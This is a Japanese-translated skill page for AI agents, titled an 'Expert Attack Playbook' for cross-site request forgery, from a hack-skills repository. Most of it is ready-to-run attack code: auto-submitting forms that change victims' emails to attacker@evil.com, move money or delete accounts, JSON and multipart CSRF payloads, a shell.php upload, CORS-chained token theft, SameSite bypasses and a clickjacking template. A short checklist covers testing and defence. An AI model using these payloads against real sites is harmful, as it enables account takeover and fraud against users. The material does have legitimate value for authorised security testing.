csrf-cross-site-request-forgery
CSRFテストのプレイブック。状態変更を伴うWebフローのレビュー、アンチCSRF対策、SameSite属性の挙動、JSON CSRF、ログインCSRF、OAuthのstateパラメータ処理を検証する際に使用します。
description の原文を見る
>- CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
SKILL.md 本文
SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
0. RELATED ROUTING
Also load:
cors cross origin misconfigurationwhen JSON endpoints become readable cross-originoauth oidc misconfigurationwhen login, account linking, or callback binding relies on OAuth state
1. CORE CONCEPT
CSRF は被害者のアクティブなセッションを悪用して、攻撃者のオリジンから状態変更リクエストを実行する攻撃です。
必須条件:
- 被害者が認証済み (アクティブなセッションクッキー)
- サーバーがセッションをクッキーのみで識別 (二次チェックなし)
- 攻撃者が有効なリクエストを予測・構成可能
- クッキーがクロスオリジンで送信される (SameSite=None またはレガシー動作)
2. CSRF ターゲットの特定
高価値の状態変更エンドポイント:
- パスワード変更 ← アカウント乗っ取り
- メール変更 ← アカウント乗っ取り
- 管理者追加 / 役割変更 ← 権限昇格
- 銀行/決済送金 ← 金銭被害
- OAuth アプリ認可 ← OAuth フロー乗っ取り
- アカウント削除
- 二要素認証の無効化
- SSH キー / API キー追加
- Webhook 設定
- プロフィール/連絡先情報の更新
3. トークンバイパス技術
トークンが存在しない
最もシンプルなケース — フォームが CSRF トークンを持たない。POST /change-email にトークンがあるか確認。なければ → 自明に悪用可能。
トークンが検証されない (最も一般的な発見!)
リクエストにトークンが存在するがサーバー側で検証されない:
_csrf_token パラメータを完全に削除 → リクエストは成功するか?
→ YES → 自明なバイパス
トークンがセッションに紐付けされているが、ユーザーには紐付けられていない
ステップ 1: UserA としてログイン → 有効な CSRF トークンを取得
ステップ 2: 別ブラウザで UserB としてログイン → UserB の CSRF トークンを取得
ステップ 3: UserA のセッションで UserB の CSRF トークンを使用 (攻撃者が UserB を制御)
→ サーバーがトークンの存在は検証するがセッションに属しているかをチェックしない → バイパス
クッキーのみのトークン
サーバーが CSRF トークンをクッキーに設定し、ヘッダ/フォームで返却を想定:
Set-Cookie: csrf=ATTACKER_CONTROLLED
→ クッキーがサブドメインから設定可能な場合 (クッキートスイング): 既知値にクッキーを設定
→ ヘッダに既知トークン + クッキーに既知トークン でフォーム送信 = バイパス
静的またはランダムに予測可能なトークン
→ すべてのユーザー/セッション共通のトークン
→ トークン = base64(ユーザー名) または md5(セッションID) → 復号可能
→ トークン = タイムスタンプ → 予測可能
ダブルサブミットクッキーパターン (サブドメイン信頼の場合は破綻)
攻撃者が XSS またはクッキートスイングから .target.com のクッキーを書き込み可能な場合:
→ .target.com に csrf_cookie=CONTROLLED を設定
→ X-CSRF-Token: CONTROLLED でリクエスト送信
→ サーバーはヘッダ == クッキー をチェック → 一致 → バイパス
4. SAMESITE バイパス シナリオ
SameSite=Lax (モダンブラウザのデフォルト): トップレベル GET ナビゲーションでクッキーが送信され、クロスサイト iframe/フォーム POST では送信されない。
SameSite=Lax を GET メソッドでバイパス:
<!-- サーバーが状態変更エンドポイントの GET を受け入れる場合: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
サブドメイン XSS 経由のバイパス (SameSite Lax/Strict):
// sub.target.com での XSS → 同一サイトオリジン → SameSite クッキーが送信される!
// XSS を CSRF のステージングポイントとして使用
window.location = 'https://target.com/account/modify?evil=true';
SameSite=None (レガシーまたは明示的): クッキーがすべての場所で送信される → 古典的 CSRF が適用される。
最近発行されたクッキー? Lax の例外: Chrome は Lax クッキーがクロスサイト POST で送信される 2 分間の例外を持つ (OAuth フロー向け)。競争ウィンドウ: クッキーを設定してから 2 分以内に CSRF をトリガー。
5. CSRF 概念実証テンプレート
シンプルなフォーム POST
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
自動クリック送信
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
</body>
GET 経由の CSRF (img タグ使用)
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
カスタムヘッダ付き CSRF (XMLHttpRequest — 同一オリジンのみ、素朴な防御を破綻させる)
API が X-CSRF-Token のようなカスタムヘッダを要求するが、ワイルドカード CORS で JSON も受け入れる場合 — CORS 設定が不正な場合、カスタムヘッダは保護にならない:
// Access-Control-Allow-Origin: * with credentials → 破綻
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // クッキー送信は必須
xhr.send('{"to":"attacker","amount":1000}');
6. JSON CSRF
エンドポイントが Content-Type: application/json を受け入れる場合 — CORS 認証情報付き fetch():
// CORS が認証情報を許可し、エンドポイントが:
fetch('https://target.com/api/v1/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
必須: Access-Control-Allow-Origin: https://attacker.com AND Access-Control-Allow-Credentials: true
サーバーが application/json のみ受け入れるが CORS fetch がない場合:
HTML フォームから適切な JSON CSRF はできない (フォームは application/x-www-form-urlencoded, multipart/form-data, text/plain のみ送信可能)。
トリック — Content-Type ダウングレード: サーバーが text/plain ボディを JSON として処理する場合:
<form enctype="text/plain" method="POST" action="https://target.com/api">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
結果のボディ: {"email":"attacker@evil.com","ignore":"="}
7. マルチパート CSRF
Content-Type を application/json から multipart/form-data に変更してもリクエストが成功する場合:
<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
<input name="email" value="attacker@evil.com">
</form>
8. CSRF + XSS の組み合わせ (CSRF トークンバイパス)
CSRF 保護が堅牢な場合、XSS は CSRF バイパスを可能にする:
// ステップ 1: XSS が DOM から CSRF トークンを読み込み
var token = document.querySelector('input[name="csrf_token"]').value;
// ステップ 2: 実トークンで CSRF リクエストを送信
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);
9. OAUTH CSRF (STATE パラメータ欠落)
state パラメータなしの OAuth フロー → OAuth 認可に対する CSRF:
攻撃:
- 攻撃者が OAuth フローを開始し、認可コードを取得
- コード交換前にフローを停止 (リダイレクト URL とコードをキャプチャ)
- 被害者に細工された URL を送信:
https://target.com/oauth/callback?code=ATTACKER_CODE - 被害者のブラウザが攻撃者のコードを交換 → 被害者のアカウントが攻撃者の OAuth プロバイダにリンク
影響: 攻撃者は被害者として ログインできる。
10. CSRF テスト チェックリスト
□ CSRF トークンを完全に削除 → リクエストは成功するか?
□ CSRF トークンを乱数に変更 → リクエストは成功するか?
□ 別ユーザーセッションの CSRF トークンを使用 → リクエストは成功するか?
□ POST エンドポイントの GET バージョンが存在するか確認
□ セッションクッキーの SameSite 属性を確認
□ Content-Type の変更 (json → form → text/plain) でも処理されるか確認
□ CORS ポリシーを確認: Access-Control-Allow-Credentials: true が現れるか?
ワイルドカードまたは攻撃者オリジン? → 悪用可能な JSON CSRF
□ OAuth フロー: state パラメータ欠落を確認
□ Referer ベースの保護をテスト: Referer ヘッダなしでリクエスト送信
□ Referer ベースの保護をテスト: referer にサブドメインを偽装
11. JSON CSRF 技術
方法 1: text/plain での偽装
<!-- ブラウザが Content-Type: text/plain と JSON 風ボディを送信 -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
<input name='{"role":"admin","ignore":"' value='"}' type="hidden">
<input type="submit" value="クリック">
</form>
<!-- 結果のボディ: {"role":"admin","ignore":"="} -->
<!-- サーバーが Content-Type を厳密にチェックしないと JSON として解析される可能性 -->
方法 2: 認証情報付き XHR
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- CORS がオリジンを許可する場合のみ機能 (CORS 不正設定 + CSRF の組み合わせ) -->
方法 3: fetch() API
<script>
fetch("https://target.com/api/role", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: '{"role":"admin"}'
});
</script>
12. マルチパート CSRF とクライアント側パストトラバーサル
マルチパート ファイルアップロード CSRF
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");
fetch("https://target.com/upload", {
method: "POST",
credentials: "include",
body: formData
});
</script>
クライアント側パストトラバーサルから CSRF へ (CSPT2CSRF)
通常フロー: フロントエンドが /api/user/PROFILE_ID/settings を fetch
攻撃: PROFILE_ID を ../../admin/dangerous-action に設定
結果: フロントエンドの fetch() は /api/admin/dangerous-action に被害者のクッキーでヒット
これはトークン不要で、パストトラバーサルを CSRF に似た攻撃に変換
| 面 | 従来の CSRF | CSPT2CSRF |
|---|---|---|
| オリジン | 攻撃者のサイト | 同一オリジン JavaScript |
| トークンバイパス | トークン偽造が必要 | トークン不要 (同一オリジン) |
| SameSite | SameSite=Strict でブロック | SameSite をバイパス (同一サイト!) |
| 検出 | 標準的な CSRF チェック | パスセグメントに対する入力検証が必要 |
13. SAMESITE=LAX 高度なバイパス技術
13.1 window.open() 経由のトップレベル ナビゲーション (2 分ウィンドウ)
Chrome の Lax+POST 例外: SameSite=Lax のクッキーは、クッキーが過去 2 分以内に設定された場合、クロスサイト POST リクエストで送信される (OAuth フロー向け)。
// 攻撃者ページ: ログインを強制してクッキーを設定し、すぐに CSRF をトリガー
// ステップ 1: 被害者を target にアクセスさせ (クッキーを設定)
window.open('https://target.com/login');
// ステップ 2: 2 分以内に状態変更エンドポイントに POST
setTimeout(() => {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://target.com/account/change-email';
form.innerHTML = '<input name="email" value="attacker@evil.com">';
document.body.appendChild(form);
form.submit();
}, 5000);
13.2 攻撃者サイトからの 302 リダイレクト チェーン
Lax クッキーはトップレベル GET ナビゲーションで送信される。リダイレクト チェーンは GET をアクションに変換:
1. 攻撃者ページ → 302 リダイレクト https://target.com/transfer?to=attacker&amount=1000
2. ブラウザがリダイレクトをトップレベル ナビゲーションとして追従 → Lax クッキーが送信
3. target が GET で状態変更をサポート → CSRF 成功
13.3 メソッドオーバーライド: GET として偽装された POST
多くのフレームワークは _method パラメータでメソッドオーバーライドをサポート:
GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1
メソッドオーバーライドをトリガーするヘッダ:
X-HTTP-Method-Override: POST
X-Method-Override: DELETE
_method=PUT (Rails, Laravel, Symfony)
SameSite=Lax は GET を許可 → フレームワークがオーバーライド経由で POST/DELETE として処理 → "POST のみ" エンドポイントへの CSRF。
14. 高度な JSON CSRF 技術
14.1 Flash ベースの Content-Type 操作 (レガシー)
Flash (2021 年前) はプリフライトなしでクロスオリジンから任意の Content-Type ヘッダを送信可能:
var req:URLRequest = new URLRequest("https://target.com/api/role");
req.method = "POST";
req.contentType = "application/json";
req.data = '{"role":"admin"}';
navigateToURL(req);
レガシーだが、古い内部アプリケーションではまだ関連。
14.2 fetch() の no-cors モード制限と回避策
fetch() の no-cors モードはシンプルなリクエストを送信可能ですが、Content-Type: application/json を設定 (プリフライトをトリガー) したり、レスポンスを読み込むことはできません。
回避策 — サーバーが text/plain ボディを受け入れて JSON として解析する場合:
fetch('https://target.com/api/role', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"role":"admin"}'
});
14.3 JSON をフォーム urlencoded として エンコード
バックエンドが両方のコンテンツタイプを受け入れる:
<form action="https://target.com/api/role" method="POST">
<input name="role" value="admin">
<input name="user_id" value="123">
</form>
サーバーが role=admin&user_id=123 を {"role":"admin","user_id":123} と同じに処理する → CORS プリフライトなしのシンプルな HTML フォームで CSRF。
15. CSRF + CORS 不正設定チェーン
反映されたオリジン + 認証情報
1. Target API が Origin を Access-Control-Allow-Origin に反映
2. Access-Control-Allow-Credentials: true
3. 攻撃者ページが https://evil.com から認証情報付き fetch() を送信
4. レスポンスが読み込み可能 → レスポンスから CSRF トークンを抽出
5. 有効な CSRF トークンでセカンド リクエスト → すべての CSRF 防御をバイパス
fetch('https://target.com/api/profile', {credentials: 'include'})
.then(r => r.json())
.then(data => {
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': data.csrf_token
},
body: JSON.stringify({email: 'attacker@evil.com'})
});
});
サブドメイン XSS → CORS → CSRF
*.target.com が CORS 許可リストにあり、いずれかのサブドメインに XSS が存在する場合:
blog.target.comの XSS を悪用- XSS コンテキストから
api.target.comで API を fetch (CORS がサブドメインを許可) - レスポンスから CSRF トークンを読み込み
- 有効なトークンで状態変更リクエストを送信
16. CSRF トークン固定化 (セッション前トークン)
CSRF トークンが認証前に発行され、ログイン後も有効なままの場合:
1. 攻撃者が target.com にアクセス → CSRF トークン T1 を受信
2. 攻撃者が被害者のブラウザに T1 を使用させる:
a. サブドメインからのクッキー トスイング
b. CRLF インジェクションで csrf_cookie を設定
3. 被害者がログイン — CSRF トークン変更なし
4. 攻撃者が既知の T1 で CSRF リクエストを送信 → 成功
テスト手順
□ 未認証ユーザーとして CSRF トークンを取得
□ ログイン — CSRF トークンは変更されるか?
□ 変更されない場合 → トークン固定化: セッション前トークンがセッション後も機能
□ セッション前トークンを認証エンドポイントに対する CSRF PoC で使用
17. クリックジャッキングを CSRF バイパスとして
CSRF 保護が堅牢ですが X-Frame-Options / frame-ancestors がない場合:
攻撃フロー
1. Target ページがフレーム可能 (X-Frame-Options / CSP frame-ancestors なし)
2. 攻撃者が透明な iframe オーバーレイを作成
3. 被害者は攻撃者コンテンツを見るが、クリックは隠された iframe の target のアクション ボタンに着地
4. クリック発生元が同一オリジン (iframe 内) — CSRF トークンをバイパス
PoC テンプレート
<html>
<body>
<div style="position:relative">
<iframe src="https://target.com/account/settings"
style="opacity:0.0001; position:absolute; top:0; left:0;
width:500px; height:500px; z-index:2;">
</iframe>
<button style="position:absolute; top:250px; left:200px; z-index:1;
padding:20px; font-size:24px;">
クリックして賞品を獲得!
</button>
</div>
</body>
</html>
防御チェック
□ X-Frame-Options: DENY または SAMEORIGIN ヘッダが存在するか?
□ CSP: frame-ancestors 'self' または frame-ancestors 'none' か?
□ どちらもない場合 → クリックジャッキング可能 → iframe 経由の CSRF バイパス
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。